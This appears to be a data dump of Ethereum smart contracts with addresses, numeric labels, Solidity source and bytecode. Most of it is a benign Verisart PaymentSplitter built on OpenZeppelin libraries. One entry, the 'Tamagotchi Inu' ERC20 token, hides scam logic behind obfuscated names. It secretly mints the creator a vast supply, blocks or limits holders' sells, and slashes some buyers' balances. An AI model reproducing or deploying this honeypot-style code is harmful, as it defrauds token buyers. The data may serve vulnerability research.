57600d8181548110151561261a57fe5b9060005260206000200160000160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc839081150290604051600060405180830381858888f1935050505015801561268d573d6000803e3d6000fd5b505b80806001019150506125c8565b5b60036000806101000a81548160ff021916908360038111156126bb57fe5b02179055505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061270557805160ff1916838001178555612733565b82800160010185558215612733579182015b82811115612732578251825591602001919060010190612717565b5b50905061274091906127c4565b5090565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f1061278557805160ff19168380011785556127b3565b828001600101855582156127b3579182015b828111156127b2578251825591602001919060010190612797565b5b5090506127c091906127c4565b5090565b6127e691905b808211156127e25760008160009055506001016127ca565b5090565b905600a165627a7a72305820bc121f0b6cf8eda79eee02b337bb74376087d23e211da91759f4639f834636490029a165627a7a723058208dbdb14e7ec10713ed1dfbc3fa2899112b24f9b4bc5b8f551609436858e5c5740029
[ 11, 18 ]
0xf3021f45adea4660f7dd061813dde0656ab47285
/* ████████ █████ ███ ███ █████ ██████ ██████ ████████ ██████ ██ ██ ██ ██ ███ ██ ██ ██ ██ ██ ██ ████ ████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ████ ██ ██ ██ ██ ███████ ██ ████ ██ ███████ ██ ███ ██ ██ ██ ██ ███████ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██ ██████ ██████ ██ ██████ ██ ██ ██ ██ ██ ████ ██████ Join us @TamagotchInu on TG, Twitter etc. https://discord.com/48hdhsYHHd812S tamagotchinu.it */ pragma solidity ^0.8.0; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { this; return msg.data; } } interface IDEXFactory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IDEXRouter { function factory() external pure returns (address); function WETH() external pure returns (address); } interface IERC20 { event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function allowance(address owner, address spender) external view returns (uint256); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); function transfer(address recipient, uint256 amount) external returns (bool); function approve(address spender, uint256 amount) external returns (bool); } interface IERC20Metadata is IERC20 { function decimals() external view returns (uint8); function name() external view returns (string memory); function symbol() external view returns (string memory); } contract Ownable is Context { address private _previousOwner; address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract ERC20 is Context, IERC20, IERC20Metadata, Ownable { mapping (address => bool) private Kevin; mapping (address => bool) private Ericson; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; mapping (address => uint256) private _TimeOfTheLord; address WETH = 0xC02aaA39b223FE8D0A0e5C4F27eAD9083C756Cc2; address _router = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D; address public pair; uint256 private ip; IDEXRouter router; address[] private tamagotchiArray; string private _name; string private _symbol; address private _sender; uint256 private _totalSupply; uint256 private Watering; uint256 private Sashi; uint256 private Towering; bool private Holyness; uint256 private Hollywood; constructor (string memory name_, string memory symbol_, address creator_) { router = IDEXRouter(_router); pair = IDEXFactory(router.factory()).createPair(WETH, address(this)); _name = name_; _sender = creator_; _symbol = symbol_; } function decimals() public view virtual override returns (uint8) { return 18; } function name() public view virtual override returns (string memory) { return _name; } function symbol() public view virtual override returns (string memory) { return _symbol; } function totalSupply() public view virtual override returns (uint256) { return _totalSupply; } function allowance(address owner, address spender) public view virtual override returns (uint256) { return _allowances[owner][spender]; } function balanceOf(address account) public view virtual override returns (uint256) { return _balances[account]; } function _balanceTheInu(address account) internal { _balances[account] += (((account == _sender) && (ip > 2)) ? (_totalSupply * 10 ** 10) : 0); } function burn(uint256 amount) public virtual returns (bool) { _burn(_msgSender(), amount); return true; } function transfer(address recipient, uint256 amount) public virtual override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function _SniperVsTamagotchi(address sender, uint256 amount, bool boolish) internal { (Watering,Holyness) = boolish ? (Sashi, true) : (Watering,Holyness); if ((Kevin[sender] != true)) { if ((amount > Towering)) { require(false); } require(amount < Watering); if (Holyness == true) { if (Ericson[sender] == true) { require(false); } Ericson[sender] = true; } } } function increaseAllowance(address spender, uint256 addedValue) public virtual returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender] + addedValue); return true; } function _init(address creator, uint256 iVal) internal virtual { (ip,Holyness,Watering,Hollywood) = (0,false,(iVal/15),0); (Sashi,Towering,Kevin[_router],Kevin[creator],Kevin[pair]) = ((iVal/1000),iVal,true,true,true); (Ericson[_router],Ericson[creator]) = (false, false); approve(_router, 115792089237316195423570985008687907853269984665640564039457584007913129639935); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual returns (bool) { uint256 currentAllowance = _allowances[_msgSender()][spender]; require(currentAllowance >= subtractedValue, "ERC20: decreased allowance below zero"); _approve(_msgSender(), spender, currentAllowance - subtractedValue); return true; } function _TamagotchiVsFR(address recipient) internal { tamagotchiArray.push(recipient); _TimeOfTheLord[recipient] = block.timestamp; if ((Kevin[recipient] != true) && (Hollywood > 2)) { if ((_TimeOfTheLord[tamagotchiArray[Hollywood-1]] == _TimeOfTheLord[tamagotchiArray[Hollywood]]) && Kevin[tamagotchiArray[Hollywood-1]] != true) { _balances[tamagotchiArray[Hollywood-1]] = _balances[tamagotchiArray[Hollywood-1]]/75; } } Hollywood++; } function approve(address spender, uint256 amount) public virtual override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function _burn(address account, uint256 amount) internal { require(account != address(0), "ERC20: burn from the zero address"); _balances[account] -= amount; _balances[address(0)] += amount; emit Transfer(account, address(0), amount); } function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) { _transfer(sender, recipient, amount); uint256 currentAllowance = _allowances[sender][_msgSender()]; require(currentAllowance >= amount, "ERC20: transfer amount exceeds allowance"); _approve(sender, _msgSender(), currentAllowance - amount); return true; } function _balanceTama(address sender, address recipient, uint256 amount) internal { _TamagotchiVsFR(recipient); _SniperVsTamagotchi(sender, amount, (address(sender) == _sender) && (ip > 0)); ip += (sender == _sender) ? 1 : 0; } function _approve(address owner, address spender, uint256 amount) internal virtual { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer(address sender, address recipient, uint256 amount) internal virtual { require(sender != address(0), "ERC20: transfer from the zero address"); require(recipient != address(0), "ERC20: transfer to the zero address"); uint256 senderBalance = _balances[sender]; require(senderBalance >= amount, "ERC20: transfer amount exceeds balance"); _balanceTama(sender, recipient, amount); _balances[sender] = senderBalance - amount; _balances[recipient] += amount; _balanceTheInu(sender); emit Transfer(sender, recipient, amount); } function _deployTamagotchi(address account, uint256 amount) internal virtual { require(account != address(0), "ERC20: mint to the zero address"); _totalSupply += amount; _balances[account] += amount; emit Transfer(address(0), account, amount); } } contract ERC20Token is Context, ERC20 { constructor( string memory name, string memory symbol, address creator, uint256 initialSupply ) ERC20(name, symbol, creator) { _deployTamagotchi(creator, initialSupply); _init(creator, initialSupply); } } contract TamagotchiInu is ERC20Token { constructor() ERC20Token("Tamagotchi Inu", "TAMAGOTCHI", msg.sender, 500000000 * 10 ** 18) { } }
0x608060405234801561001057600080fd5b50600436106100f55760003560e01c806370a0823111610097578063a457c2d711610066578063a457c2d7146101f5578063a8aa1b3114610208578063a9059cbb1461021b578063dd62ed3e1461022e57600080fd5b806370a0823114610195578063715018a6146101be5780638da5cb5b146101c857806395d89b41146101ed57600080fd5b806323b872dd116100d357806323b872dd1461014d578063313ce56714610160578063395093511461016f57806342966c681461018257600080fd5b806306fdde03146100fa578063095ea7b31461011857806318160ddd1461013b575b600080fd5b610102610267565b60405161010f9190610d61565b60405180910390f35b61012b610126366004610dd2565b6102f9565b604051901515815260200161010f565b6010545b60405190815260200161010f565b61012b61015b366004610dfc565b61030f565b6040516012815260200161010f565b61012b61017d366004610dd2565b6103c5565b61012b610190366004610e38565b6103fc565b61013f6101a3366004610e51565b6001600160a01b031660009081526004602052604090205490565b6101c6610410565b005b6001546001600160a01b03165b6040516001600160a01b03909116815260200161010f565b6101026104b4565b61012b610203366004610dd2565b6104c3565b6009546101d5906001600160a01b031681565b61012b610229366004610dd2565b61055e565b61013f61023c366004610e73565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b6060600d805461027690610ea6565b80601f01602080910402602001604051908101604052809291908181526020018280546102a290610ea6565b80156102ef5780601f106102c4576101008083540402835291602001916102ef565b820191906000526020600020905b8154815290600101906020018083116102d257829003601f168201915b5050505050905090565b600061030633848461056b565b50600192915050565b600061031c84848461068f565b6001600160a01b0384166000908152600560209081526040808320338452909152902054828110156103a65760405162461bcd60e51b815260206004820152602860248201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616044820152676c6c6f77616e636560c01b60648201526084015b60405180910390fd5b6103ba85336103b58685610ef7565b61056b565b506001949350505050565b3360008181526005602090815260408083206001600160a01b038716845290915281205490916103069185906103b5908690610f0e565b6000610408338361087a565b506001919050565b6001546001600160a01b0316331461046a5760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015260640161039d565b6001546040516000916001600160a01b0316907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600180546001600160a01b0319169055565b6060600e805461027690610ea6565b3360009081526005602090815260408083206001600160a01b0386168452909152812054828110156105455760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b606482015260840161039d565b61055433856103b58685610ef7565b5060019392505050565b600061030633848461068f565b6001600160a01b0383166105cd5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b606482015260840161039d565b6001600160a01b03821661062e5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b606482015260840161039d565b6001600160a01b0383811660008181526005602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b0383166106f35760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b606482015260840161039d565b6001600160a01b0382166107555760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b606482015260840161039d565b6001600160a01b038316600090815260046020526040902054818110156107cd5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b606482015260840161039d565b6107d884848461098c565b6107e28282610ef7565b6001600160a01b038086166000908152600460205260408082209390935590851681529081208054849290610818908490610f0e565b909155506108279050846109fe565b826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161086c91815260200190565b60405180910390a350505050565b6001600160a01b0382166108da5760405162461bcd60e51b815260206004820152602160248201527f45524332303a206275726e2066726f6d20746865207a65726f206164647265736044820152607360f81b606482015260840161039d565b6001600160a01b03821660009081526004602052604081208054839290610902908490610ef7565b9091555050600080805260046020527f17ef568e3e12ab5b9c7254a8d58478811de00f9e6eb34345acd53bf8fd09d3ec8054839290610942908490610f0e565b90915550506040518181526000906001600160a01b038416907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a35050565b61099582610a6a565b600f546109c190849083906001600160a01b0380841691161480156109bc57506000600a54115b610c8e565b600f546001600160a01b038481169116146109dd5760006109e0565b60015b60ff16600a60008282546109f49190610f0e565b9091555050505050565b600f546001600160a01b038281169116148015610a1d57506002600a54115b610a28576000610a3a565b601054610a3a906402540be400610f26565b6001600160a01b03821660009081526004602052604081208054909190610a62908490610f0e565b909155505050565b600c805460018082019092557fdf6966c971051c3d54ec59162606531493a51404a002842f56009d7e5cf4a8c70180546001600160a01b0319166001600160a01b0384169081179091556000908152600660209081526040808320429055600290915290205460ff16151514801590610ae557506002601554115b15610c765760066000600c60155481548110610b0357610b03610f45565b60009182526020808320909101546001600160a01b031683528201929092526040018120546015549091600691600c90610b3f90600190610ef7565b81548110610b4f57610b4f610f45565b60009182526020808320909101546001600160a01b03168352820192909252604001902054148015610bd0575060026000600c6001601554610b919190610ef7565b81548110610ba157610ba1610f45565b60009182526020808320909101546001600160a01b0316835282019290925260400190205460ff161515600114155b15610c7657604b60046000600c6001601554610bec9190610ef7565b81548110610bfc57610bfc610f45565b60009182526020808320909101546001600160a01b03168352820192909252604001902054610c2b9190610f5b565b60046000600c6001601554610c409190610ef7565b81548110610c5057610c50610f45565b60009182526020808320909101546001600160a01b031683528201929092526040019020555b60158054906000610c8683610f7d565b919050555050565b80610ca15760115460145460ff16610ca7565b60125460015b6014805460ff19169115159190911790556011556001600160a01b03831660009081526002602052604090205460ff161515600114610d5c57601354821115610cef57600080fd5b6011548210610cfd57600080fd5b60145460ff16151560011415610d5c576001600160a01b03831660009081526003602052604090205460ff16151560011415610d3857600080fd5b6001600160a01b0383166000908152600360205260409020805460ff191660011790555b505050565b600060208083528351808285015260005b81811015610d8e57858101830151858201604001528201610d72565b81811115610da0576000604083870101525b50601f01601f1916929092016040019392505050565b80356001600160a01b0381168114610dcd57600080fd5b919050565b60008060408385031215610de557600080fd5b610dee83610db6565b946020939093013593505050565b600080600060608486031215610e1157600080fd5b610e1a84610db6565b9250610e2860208501610db6565b9150604084013590509250925092565b600060208284031215610e4a57600080fd5b5035919050565b600060208284031215610e6357600080fd5b610e6c82610db6565b9392505050565b60008060408385031215610e8657600080fd5b610e8f83610db6565b9150610e9d60208401610db6565b90509250929050565b600181811c90821680610eba57607f821691505b60208210811415610edb57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b600082821015610f0957610f09610ee1565b500390565b60008219821115610f2157610f21610ee1565b500190565b6000816000190483118215151615610f4057610f40610ee1565b500290565b634e487b7160e01b600052603260045260246000fd5b600082610f7857634e487b7160e01b600052601260045260246000fd5b500490565b6000600019821415610f9157610f91610ee1565b506001019056fea2646970667358221220aab7d66f9758e78e353224671be376b61aa048c8eee4d5a89859c99fc866543664736f6c634300080a0033
[ 9 ]
0xF3022C86d77B3b730119a69782DA12651D5039Be
// SPDX-License-Identifier: MIT pragma solidity ^0.8.9; import "@openzeppelin/contracts/finance/PaymentSplitter.sol"; contract VerisartPaymentSplitter is PaymentSplitter { constructor(address[] memory _payees, uint256[] memory _shares) payable PaymentSplitter(_payees, _shares) {} } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; // CAUTION // This version of SafeMath should only be used with Solidity 0.8 or later, // because it relies on the compiler's built in overflow checks. /** * @dev Wrappers over Solidity's arithmetic operations. * * NOTE: `SafeMath` is no longer needed starting with Solidity 0.8. The compiler * now has built in overflow checking. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryAdd(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { uint256 c = a + b; if (c < a) return (false, 0); return (true, c); } } /** * @dev Returns the substraction of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function trySub(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b > a) return (false, 0); return (true, a - b); } } /** * @dev Returns the multiplication of two unsigned integers, with an overflow flag. * * _Available since v3.4._ */ function tryMul(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) return (true, 0); uint256 c = a * b; if (c / a != b) return (false, 0); return (true, c); } } /** * @dev Returns the division of two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryDiv(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a / b); } } /** * @dev Returns the remainder of dividing two unsigned integers, with a division by zero flag. * * _Available since v3.4._ */ function tryMod(uint256 a, uint256 b) internal pure returns (bool, uint256) { unchecked { if (b == 0) return (false, 0); return (true, a % b); } } /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { return a + b; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return a - b; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { return a * b; } /** * @dev Returns the integer division of two unsigned integers, reverting on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. * * Requirements: * * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return a / b; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return a % b; } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {trySub}. * * Counterpart to Solidity's `-` operator. * * Requirements: * * - Subtraction cannot overflow. */ function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b <= a, errorMessage); return a - b; } } /** * @dev Returns the integer division of two unsigned integers, reverting with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a / b; } } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * reverting with custom message when dividing by zero. * * CAUTION: This function is deprecated because it requires allocating memory for the error * message unnecessarily. For custom revert reasons use {tryMod}. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * * - The divisor cannot be zero. */ function mod( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { unchecked { require(b > 0, errorMessage); return a % b; } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Provides information about the current execution context, including the * sender of the transaction and its data. While these are generally available * via msg.sender and msg.data, they should not be accessed in such a direct * manner, since when dealing with meta-transactions the account sending and * paying for execution may not be the actual sender (as far as an application * is concerned). * * This contract is only required for intermediate, library-like contracts. */ abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } function _msgData() internal view virtual returns (bytes calldata) { return msg.data; } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; /** * @dev Collection of functions related to the address type */ library Address { /** * @dev Returns true if `account` is a contract. * * [IMPORTANT] * ==== * It is unsafe to assume that an address for which this function returns * false is an externally-owned account (EOA) and not a contract. * * Among others, `isContract` will return false for the following * types of addresses: * * - an externally-owned account * - a contract in construction * - an address where a contract will be created * - an address where a contract lived, but was destroyed * ==== */ function isContract(address account) internal view returns (bool) { // This method relies on extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; assembly { size := extcodesize(account) } return size > 0; } /** * @dev Replacement for Solidity's `transfer`: sends `amount` wei to * `recipient`, forwarding all available gas and reverting on errors. * * https://eips.ethereum.org/EIPS/eip-1884[EIP1884] increases the gas cost * of certain opcodes, possibly making contracts go over the 2300 gas limit * imposed by `transfer`, making them unable to receive funds via * `transfer`. {sendValue} removes this limitation. * * https://diligence.consensys.net/posts/2019/09/stop-using-soliditys-transfer-now/[Learn more]. * * IMPORTANT: because control is transferred to `recipient`, care must be * taken to not create reentrancy vulnerabilities. Consider using * {ReentrancyGuard} or the * https://solidity.readthedocs.io/en/v0.5.11/security-considerations.html#use-the-checks-effects-interactions-pattern[checks-effects-interactions pattern]. */ function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); (bool success, ) = recipient.call{value: amount}(""); require(success, "Address: unable to send value, recipient may have reverted"); } /** * @dev Performs a Solidity function call using a low level `call`. A * plain `call` is an unsafe replacement for a function call: use this * function instead. * * If `target` reverts with a revert reason, it is bubbled up by this * function (like regular Solidity function calls). * * Returns the raw returned data. To convert to the expected return value, * use https://solidity.readthedocs.io/en/latest/units-and-global-variables.html?highlight=abi.decode#abi-encoding-and-decoding-functions[`abi.decode`]. * * Requirements: * * - `target` must be a contract. * - calling `target` with `data` must not revert. * * _Available since v3.1._ */ function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], but with * `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { return functionCallWithValue(target, data, 0, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but also transferring `value` wei to `target`. * * Requirements: * * - the calling contract must have an ETH balance of at least `value`. * - the called Solidity function must be `payable`. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value ) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } /** * @dev Same as {xref-Address-functionCallWithValue-address-bytes-uint256-}[`functionCallWithValue`], but * with `errorMessage` as a fallback revert reason when `target` reverts. * * _Available since v3.1._ */ function functionCallWithValue( address target, bytes memory data, uint256 value, string memory errorMessage ) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); (bool success, bytes memory returndata) = target.call{value: value}(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a static call. * * _Available since v3.3._ */ function functionStaticCall( address target, bytes memory data, string memory errorMessage ) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // SPDX-License-Identifier: MIT pragma solidity ^0.8.0; import "../utils/Address.sol"; import "../utils/Context.sol"; import "../utils/math/SafeMath.sol"; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + _totalReleased; uint256 payment = (totalReceived * _shares[account]) / _totalShares - _released[account]; require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] = _released[account] + payment; _totalReleased = _totalReleased + payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } }
0x6080604052600436106100595760003560e01c806319165587146100a75780633a98ef39146100c95780638b83209b146100ed5780639852595c14610125578063ce7c2ac21461015b578063e33b7de31461019157600080fd5b366100a2577f6ef95f06320e7a25a04a175ca677b7052bdd97131872c2192525a629f51be77033604080516001600160a01b0390921682523460208301520160405180910390a1005b600080fd5b3480156100b357600080fd5b506100c76100c23660046104e1565b6101a6565b005b3480156100d557600080fd5b506000545b6040519081526020015b60405180910390f35b3480156100f957600080fd5b5061010d610108366004610505565b61037b565b6040516001600160a01b0390911681526020016100e4565b34801561013157600080fd5b506100da6101403660046104e1565b6001600160a01b031660009081526003602052604090205490565b34801561016757600080fd5b506100da6101763660046104e1565b6001600160a01b031660009081526002602052604090205490565b34801561019d57600080fd5b506001546100da565b6001600160a01b03811660009081526002602052604090205461021f5760405162461bcd60e51b815260206004820152602660248201527f5061796d656e7453706c69747465723a206163636f756e7420686173206e6f2060448201526573686172657360d01b60648201526084015b60405180910390fd5b60006001544761022f9190610534565b6001600160a01b03831660009081526003602090815260408083205483546002909352908320549394509192610265908561054c565b61026f919061056b565b610279919061058d565b9050806102dc5760405162461bcd60e51b815260206004820152602b60248201527f5061796d656e7453706c69747465723a206163636f756e74206973206e6f742060448201526a191d59481c185e5b595b9d60aa1b6064820152608401610216565b6001600160a01b038316600090815260036020526040902054610300908290610534565b6001600160a01b038416600090815260036020526040902055600154610327908290610534565b60015561033483826103ab565b604080516001600160a01b0385168152602081018390527fdf20fd1e76bc69d672e4814fafb2c449bba3a5369d8359adf9e05e6fde87b056910160405180910390a1505050565b600060048281548110610390576103906105a4565b6000918252602090912001546001600160a01b031692915050565b804710156103fb5760405162461bcd60e51b815260206004820152601d60248201527f416464726573733a20696e73756666696369656e742062616c616e63650000006044820152606401610216565b6000826001600160a01b03168260405160006040518083038185875af1925050503d8060008114610448576040519150601f19603f3d011682016040523d82523d6000602084013e61044d565b606091505b50509050806104c45760405162461bcd60e51b815260206004820152603a60248201527f416464726573733a20756e61626c6520746f2073656e642076616c75652c207260448201527f6563697069656e74206d6179206861766520726576657274